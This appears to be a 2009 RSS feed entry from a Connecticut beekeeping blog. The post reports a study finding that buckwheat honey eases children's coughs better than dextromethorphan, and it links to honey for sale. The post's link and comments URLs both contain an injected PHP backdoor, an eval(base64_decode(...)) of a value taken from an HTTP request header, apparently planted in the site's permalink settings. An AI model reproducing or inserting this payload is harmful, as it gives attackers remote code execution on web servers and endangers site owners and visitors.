beeblog » honey and health http://ct-honey.com/beeblog The Beekeepers' Forum Mon, 09 Mar 2009 13:40:41 +0000 http://wordpress.org/?v=2.7 en hourly 1 Using Honey to Lessen a Child’s Cough http://ct-honey.com/beeblog/2007/12/12/using-honey-to-lessen-a-childs-cough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/12/12/using-honey-to-lessen-a-childs-cough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 12 Dec 2007 15:59:36 +0000 stuart http://ct-honey.com/beeblog/?p=120 An article in the New York Times reports that a spoonful of honey is more effective than the medicine (Dextromethorphan, or DM) in common over-the-counter medications used by most parents.  The study was conducted by researchers in the Department of Pediatrics and the Department of Public Health Sciences in the College of Medicine at Pennsylvania State University, Hershey.  The findings were reported in the December issue of the Archives of Adolescent and Pediatric Medicine.  A summary of their findings, as well as links to related articles, can be found here.

In the summary, the authors conclude that a spoonful of buckwheat honey is more effective than DM (and also more effective than no treatment at all) in alleviating the coughing and associated difficulty in sleeping caused by upper respiratory infections for children aged 2 to 18.

The NY Times article is here.

Cough and cold season is upon us.  In Connecticut, some school districts have even closed due to illness.  If you would like to try this remedy on your own, click here to purchase honey.  Why not give it a try?

REMINDER: Honey should never be given to children before their first birthday.

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